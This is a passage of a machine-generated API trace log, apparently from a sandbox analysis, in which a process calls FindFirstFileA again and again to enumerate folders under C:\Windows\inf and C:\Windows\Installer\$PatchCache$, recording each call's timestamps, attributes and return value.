ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.210] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.214] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.217] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.221] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.225] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.228] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.231] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.234] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.242] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.245] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.248] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.250] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.252] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.254] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.257] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.262] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.265] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.267] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.269] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.271] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.273] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.274] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b34a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b34a9c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.277] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b370b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b370b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.280] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\WmiApRpl\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd5fc00, ftCreationTime.dwHighDateTime=0x1d4d596, ftLastAccessTime.dwLowDateTime=0xefd5fc00, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd5fc00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.282] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\WmiApRpl\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd5fc00, ftCreationTime.dwHighDateTime=0x1d4d596, ftLastAccessTime.dwLowDateTime=0xefd5fc00, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd5fc00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0132.287] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\wsearchidxpi\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.288] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\wsearchidxpi\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b23205, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b23205, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0132.290] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\wsearchidxpi\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x238ae7a2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0132.296] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x72a697c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeda8bc40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeda8bc40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0132.298] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x343990d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x343990d0, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0132.300] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdef2fd00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdef2fd00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0132.304] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb594a720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb594a720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.304] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xae376620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.316] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7d7d20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.316] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xba73f7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba73f7a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.327] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbd89e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbcbfeb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbcbfeb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.328] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbfeb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbcbfeb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbcbfeb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.328] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0d2c20, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x340031, dwReserved1=0x30002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.329] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.337] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc25da9c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.338] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0132.342] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc485e8c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc485e8c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0132.342] FindFirstFileA (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\14.0.4763\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x16, 